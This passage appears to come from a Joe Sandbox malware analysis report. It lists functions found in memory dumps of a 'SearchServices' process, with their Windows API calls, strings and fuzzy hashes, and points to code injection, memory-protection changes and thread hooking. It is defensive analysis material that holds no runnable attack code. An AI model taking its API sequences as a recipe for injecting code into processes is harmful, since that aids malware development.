GetTokenInformation.KERNELBASE ref: 00007FF7287E8900
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7287E891C
CloseHandle.KERNEL32 ref: 00007FF7287E8934

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 0a78fddd52e4a4b47c0abd3b9ff92470e3f80b7b026c685fad37238cb9e723cb
Instruction ID: ddd846f8464d138c37012a2b1cbd18f425ce01ef96d0fb001a9d390878864e0d
Opcode Fuzzy Hash: 0a78fddd52e4a4b47c0abd3b9ff92470e3f80b7b026c685fad37238cb9e723cb
Instruction Fuzzy Hash: 95215531A0C68281EB10AF95FC4012AE3A1EF957A0F944237DAAD43BE4DF7DD4548F14

Function 00000264CC273790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00000264CC27379E
GetCurrentProcess.KERNEL32 ref: 00000264CC2737CC
VirtualProtectEx.KERNEL32 ref: 00000264CC2737EE
GetCurrentProcess.KERNEL32 ref: 00000264CC273809
VirtualProtectEx.KERNEL32 ref: 00000264CC27382A

Strings

wr, xrefs: 00000264CC2737FF

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 56e72473d07b68f7b64eb7c11002fca52ce2897f84ad0e8bb44dd3b2e0a0dce8
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 27118E76B06B41C2FF14AB11E4686A976A0F748B85F08112ADEC907764EF3EC645C704

Function 00000264CC275B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000264CC275B6B
GetThreadContext.KERNEL32 ref: 00000264CC275CD5

Part of subcall function 00000264CC275960: GetCurrentThreadId.KERNEL32 ref: 00000264CC275964

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 2a6939216e4066241bb7d33e143ff6fb32862c5ead5fedc71a002d9303c09c17
Instruction ID: 933e1ab3235f2b8d9228f16e46bd7aa0c05348c1f5f60487eedfdd833602537d
Opcode Fuzzy Hash: 2a6939216e4066241bb7d33e143ff6fb32862c5ead5fedc71a002d9303c09c17
Instruction Fuzzy Hash: 36D18C76649B88C2DA70EB06E4A439AB7A0F788B84F101117EACD47BB5DF7DC651CB40

Function 00007FF7287E8B80 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7287E8860: GetCurrentProcess.KERNEL32 ref: 00007FF7287E8880
Part of subcall function 00007FF7287E8860: OpenProcessToken.ADVAPI32 ref: 00007FF7287E8891
Part of subcall function 00007FF7287E8860: GetTokenInformation.KERNELBASE ref: 00007FF7287E88B6
Part of subcall function 00007FF7287E8860: GetLastError.KERNEL32 ref: 00007FF7287E88C0
Part of subcall function 00007FF7287E8860: GetTokenInformation.KERNELBASE ref: 00007FF7287E8900
Part of subcall function 00007FF7287E8860: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7287E891C
Part of subcall function 00007FF7287E8860: CloseHandle.KERNEL32 ref: 00007FF7287E8934

LocalFree.KERNEL32(00000000,00007FF7287E3B4E), ref: 00007FF7287E8C0C
LocalFree.KERNEL32 ref: 00007FF7287E8C15

Strings

Security descriptor string length exceeds PATH_MAX!, xrefs: 00007FF7287E8C23
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF7287E8BE2
D:(A;;FA;;;%s), xrefs: 00007FF7287E8BF7
S-1-3-4, xrefs: 00007FF7287E8BC1

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PATH_MAX!
API String ID: 6828938-1817031585
Opcode ID: 8ff8ea2c17bd8fbf586603b6c91de9233eb7c00b5d3dcbaf8731662f4bda8ceb
Instruction ID: 7415082988b390b8f467e2a7c052db918f82a3939986f43c2b602aecf34538d8
Opcode Fuzzy Hash: 8ff8ea2c17bd8fbf586603b6c91de9233eb7c00b5d3dcbaf8731662f4bda8ceb
Instruction Fuzzy Hash: 69216022A6878681F610BB60EC456FAE2A1FF48780FC40533E95D53796DF3EE5058A68

Function 00000264CC271A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000264CC271A60
StrCmpNIW.SHLWAPI ref: 00000264CC271A7A
lstrlenW.KERNEL32 ref: 00000264CC271A89
StrCpyW.SHLWAPI ref: 00000264CC271A9E

Strings

\\?\, xrefs: 00000264CC271A6E

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: a7f5de8232987f499b933a73f990d69d3a7b26a085e6c1f0e5c63b64cf970b96
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 43F04473B05641D2EB60AB25F8E8B996760F748B88F945022DA8D467A4DF3DC74DCB00

Function 00000264CC2750D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000264CC275156

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: ab42e8011698989dde6dd516e0bf8dfd7e718f101fabf5710552cbfe92ec9bd4
Instruction ID: 7b4f9425ab19ea2c3d5618659577ac7ad5743b095b07535ee360889dace131a3
Opcode Fuzzy Hash: ab42e8011698989dde6dd516e0bf8dfd7e718f101fabf5710552cbfe92ec9bd4
Instruction Fuzzy Hash: 9A02CB3665AB84C6E760DB56F4A439AB7A0F3C4794F101026EACE87BA8DF7DC554CB00

Function 00007FF7287E3F00 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 55COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,00007FF7287E39CA), ref: 00007FF7287E3F34

Part of subcall function 00007FF7287E29C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7287E8AF2,?,?,?,?,?,?,?,?,?,?,?,00007FF7287E101D), ref: 00007FF7287E29F4
Part of subcall function 00007FF7287E29C0: MessageBoxW.USER32 ref: 00007FF7287E2AD0

Strings

Failed to get executable path., xrefs: 00007FF7287E3F3E
Failed to convert executable path to UTF-8., xrefs: 00007FF7287E3F70
GetModuleFileNameW, xrefs: 00007FF7287E3F45

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: ErrorFileLastMessageModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
API String ID: 2581892565-1977442011
Opcode ID: 7ef307d93855c796adb502a26685baad3249a75f128fd8c4618b636fbd62cd4f
Instruction ID: acb3ce2fbad2123bf89be3849ed1582a7cf7755055e4351c408fc854e699652f
Opcode Fuzzy Hash: 7ef307d93855c796adb502a26685baad3249a75f128fd8c4618b636fbd62cd4f
Instruction Fuzzy Hash: 69115E21B6858241FA21B7A1EC113F5D2A4EF4C385FC40433E84E86799EE2EE6048F28

Function 00007FF7287FDD10 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF7287FDCFB), ref: 00007FF7287FDE2C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF7287FDCFB), ref: 00007FF7287FDEB7

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: e5bc4118b78d7803f2849d3b40dbb6165d02ed41efd1a206ffcb3739746c0941
Instruction ID: f08434ffc666501ac81ee02cd0a7f13130cfa004a1fae3c182a3f658075ee221
Opcode Fuzzy Hash: e5bc4118b78d7803f2849d3b40dbb6165d02ed41efd1a206ffcb3739746c0941
Instruction Fuzzy Hash: 5791D722E5865285F750AFA68C406BDEFA0FB28788F944137DE0E57794CF3AE441CB24

Function 00007FF7288004DC Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7288005CC
_get_daylight.LIBCMT ref: 00007FF7288005DD
_get_daylight.LIBCMT ref: 00007FF7288005EE
_isindst.LIBCMT ref: 00007FF7288006B9

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: a806384fd3dbc637569f566945d79e9d0f9a49a7dde5cce1babac435a7d8ed95
Instruction ID: 62785ecf17bf4325d6d5d6d885a3146a77453b0eb43c48266b5ee769d9a15a0a
Opcode Fuzzy Hash: a806384fd3dbc637569f566945d79e9d0f9a49a7dde5cce1babac435a7d8ed95
Instruction Fuzzy Hash: 38512672F156118AEB24EF248D416BCE7E2EB50358F900136ED3E52AE5DF3AB4528B14

Function 00007FF7287F6044 Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF7287F6077
GetFileInformationByHandle.KERNELBASE ref: 00007FF7287F60D9
GetLastError.KERNEL32 ref: 00007FF7287F616A
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,?,00007FF7287F5F7C), ref: 00007FF7287F61B6

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: bf9e299d8a19087a057b397dc8e4afdf64a098b67ef913149ee4b49067ca2483
Instruction ID: ff78771a12cfe06e4e14dc96b7065e4a4bb4c6ccc555e77060d4578cc4cfd87f
Opcode Fuzzy Hash: bf9e299d8a19087a057b397dc8e4afdf64a098b67ef913149ee4b49067ca2483
Instruction Fuzzy Hash: FF518E22A186418AF710EFF2DC403BDE3B1EB58B48F504536EE094778ADF3AD5448B68

Function 00007FF7287F5EF0 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F5F1D
CreateFileW.KERNELBASE ref: 00007FF7287F5F5C
CloseHandle.KERNEL32 ref: 00007FF7287F5F91

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 83590a85ef91dfeaaf5391bcb7c84269641a6271a066e8b030d9dbe54c1e2ad9
Instruction ID: 47316002144b0e6192c3eeb560f91554d9802322fcb5d6a4697f43a1c795f5fe
Opcode Fuzzy Hash: 83590a85ef91dfeaaf5391bcb7c84269641a6271a066e8b030d9dbe54c1e2ad9
Instruction Fuzzy Hash: 9F41B322D1878283E720AB61DD00379E2A0FFA8764F509336E65C03BD2DF7DA5E48B14

Function 00007FF7287EC3CC Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7287EC59C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7287EC5B0

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7287EC3F0
__scrt_release_startup_lock.LIBCMT ref: 00007FF7287EC45E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7287EC4B1

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: 9d2a249925c3744b7bdec991b642967cea5aa1e4eae3f82ffa02bbb969e0fbb5
Instruction ID: 7e565894a1966b7e7ec0fb44216fc7a4f22896a807a6c9f579e3db742c4a2997
Opcode Fuzzy Hash: 9d2a249925c3744b7bdec991b642967cea5aa1e4eae3f82ffa02bbb969e0fbb5
Instruction Fuzzy Hash: 65315129EA828241FA15BBA59D512B9E291EF99344FC40037DA1D4B3D3DE3EA4048E78

Function 00000264CC2739E0 Relevance: 4.6, APIs: 3, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00000264CC273A66
VirtualAlloc.KERNEL32 ref: 00000264CC273AA0

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: f42be2713d4726e5be1b4ec332efc5b1c7346482adb1dd1f9d6af1a217d685b6
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: 0831E532A5BA84C1EF71AA15E0A939E66A4F388784F101516E5CD467B8DF7EC7908B04

Function 00000264CC27328C Relevance: 4.5, APIs: 3, Instructions: 43threadCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00000264CC2732AE
PathFindFileNameW.SHLWAPI ref: 00000264CC2732BD

Part of subcall function 00000264CC273844: StrCmpNIW.SHLWAPI ref: 00000264CC27385C

Part of subcall function 00000264CC273790: GetModuleHandleW.KERNEL32 ref: 00000264CC27379E
Part of subcall function 00000264CC273790: GetCurrentProcess.KERNEL32 ref: 00000264CC2737CC
Part of subcall function 00000264CC273790: VirtualProtectEx.KERNEL32 ref: 00000264CC2737EE
Part of subcall function 00000264CC273790: GetCurrentProcess.KERNEL32 ref: 00000264CC273809
Part of subcall function 00000264CC273790: VirtualProtectEx.KERNEL32 ref: 00000264CC27382A

CreateThread.KERNEL32 ref: 00000264CC27330B

Part of subcall function 00000264CC271D14: GetCurrentThread.KERNEL32 ref: 00000264CC271D1F

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: b99becbcc615e6c3d1371efb3655c6c89dd4475584e88734bfb64150e369f354
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 81117C71E57640C2FB70BB21F8AC7DA2294BB44314F5061279ACA81BB1EF7BC3848390

Function 00000264CC274DF0 Relevance: 4.5, APIs: 3, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00000264CC274DF4
VirtualProtect.KERNEL32 ref: 00000264CC274E37
FlushInstructionCache.KERNEL32 ref: 00000264CC274E4C

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: 7a47e93f7e79f9067e4e2fc8604941f3a9ad20237d3497da51ea1a98359c40d4
Instruction ID: 0fcb051896afb0f9243683d2bed3bc7a8b747a5a15f76c373fabe881c64c918a
Opcode Fuzzy Hash: 7a47e93f7e79f9067e4e2fc8604941f3a9ad20237d3497da51ea1a98359c40d4
Instruction Fuzzy Hash: 19F01D36659E04C1D631AB01E4A439AABA0E388BE4F146112BACD43B79CA3AC7908F00

Function 00007FF7287FA7E4 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF7287FA7E0), ref: 00007FF7287FA7F5
TerminateProcess.KERNEL32(?,?,?,00007FF7287FA7E0), ref: 00007FF7287FA800
ExitProcess.KERNEL32 ref: 00007FF7287FA80F

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: a9ca9fd944998b9103efb0079ab816177775b60747cbceda43ee2d2e97830e0f
Instruction ID: 85d32259218b4b8baa33272b90c6308f6fed87e75ccd6d9b7739269a6434be51
Opcode Fuzzy Hash: a9ca9fd944998b9103efb0079ab816177775b60747cbceda43ee2d2e97830e0f
Instruction Fuzzy Hash: F1D05E10F6830242FB053FB16CC5038D292DF5CB05F80543AC91B023A3CD6EA42ECA28

Function 00007FF7287E8D80 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE ref: 00007FF7287E8DC0

Part of subcall function 00007FF7287E2C30: MessageBoxW.USER32 ref: 00007FF7287E2D05

Strings

Security descriptor is not initialized!, xrefs: 00007FF7287E8D90

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: CreateDirectoryMessage
String ID: Security descriptor is not initialized!
API String ID: 73271072-986317556
Opcode ID: cb4d7abd45f9f406bb8e9fa743bd3ea339ce9ab77a45f8f760c2574a3479da4c
Instruction ID: ab341ce6c6184c7727ca5801f270b11e747e29a1ca5eaabe10f7a414169656be
Opcode Fuzzy Hash: cb4d7abd45f9f406bb8e9fa743bd3ea339ce9ab77a45f8f760c2574a3479da4c
Instruction Fuzzy Hash: 09E092B2A6C78A82EA50AB24EC04269E390FB69354FD00336E15C867E4DF7DD1198F04

Function 00000264CC24273C Relevance: 3.2, APIs: 2, Instructions: 187memorylibraryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00000264CC2427DB
LoadLibraryA.KERNELBASE ref: 00000264CC24285E

Memory Dump Source

Source File: 00000005.00000002.1965448950.00000264CC240000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000264CC240000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc240000_SearchServices.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 89f3d2a8d35d502de5ba34608d99d48c0142e91f8ce101ec7aa032c15f03410f
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 51615B32F02690C7DB58EF16D0247ADB392F754B94F28A122DF99077D8DA39D952C710

Function 00007FF7287F0A6C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F0AB0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F0BA7

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: cf177395047abfa4e851662a110b86e3e3c378c626585af56caf23d5c147307d
Instruction ID: 0cadc75c13a034a7b04f59ff51b67a946c7c43fcf39cc893036994dccbccfe77
Opcode Fuzzy Hash: cf177395047abfa4e851662a110b86e3e3c378c626585af56caf23d5c147307d
Instruction Fuzzy Hash: 9A51EB61B4964145FA24BEA79C006BAE291FF78BA8F944632DD6D077C5CF3ED400DE28

Function 00000264CC271ABC Relevance: 3.1, APIs: 2, Instructions: 68sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00000264CC271628: GetProcessHeap.KERNEL32 ref: 00000264CC271633
Part of subcall function 00000264CC271628: HeapAlloc.KERNEL32 ref: 00000264CC271642
Part of subcall function 00000264CC271628: RegOpenKeyExW.ADVAPI32 ref: 00000264CC2716B2
Part of subcall function 00000264CC271628: RegOpenKeyExW.ADVAPI32 ref: 00000264CC2716DF
Part of subcall function 00000264CC271628: RegCloseKey.ADVAPI32 ref: 00000264CC2716F9
